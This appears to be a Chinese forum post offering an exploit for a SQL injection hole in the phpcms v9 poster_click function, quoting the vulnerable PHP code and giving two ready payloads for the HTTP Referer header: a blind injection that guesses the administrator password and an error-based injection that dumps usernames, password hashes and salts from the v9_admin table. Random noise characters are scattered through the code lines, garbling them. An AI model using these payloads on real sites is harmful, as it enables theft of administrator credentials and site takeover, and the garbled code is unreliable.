phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
6 u, Z: ?/ b; h6 r6 x, p
4 W% {3 {: f5 m2 }2 ?问题函数\phpcms\modules\poster\index.php

public function poster_click() {
" q: e+ f3 S* G, S8 c  ?$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
9 x0 K* ~+ s+ R  A0 f" G4 x1 x* {$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
5 N" q: u( @6 M( T3 d2 l9 @/ p$ e7 A3 h$area = $ip_area->get($ip);
/ B' U. V! e5 X2 R7 s$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
9 p# o/ J0 s; H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
) `1 w+ G; A0 z2 T3 w+ k9 i" Iif (count($setting)==1) {
$url = $setting['1']['linkurl'];
& Z+ `) A. @7 g* Z} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
! [( g; X! `, ]9 `}



利用方式：

1、可以采用盲注入的手法：
0 J6 q: L# A+ Y7 a8 O1 {5 l
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

* Q4 g5 C# `3 e! {: K6 _. @通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

5 j( n1 j: |1 C0 i* d. F( D  l. r1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
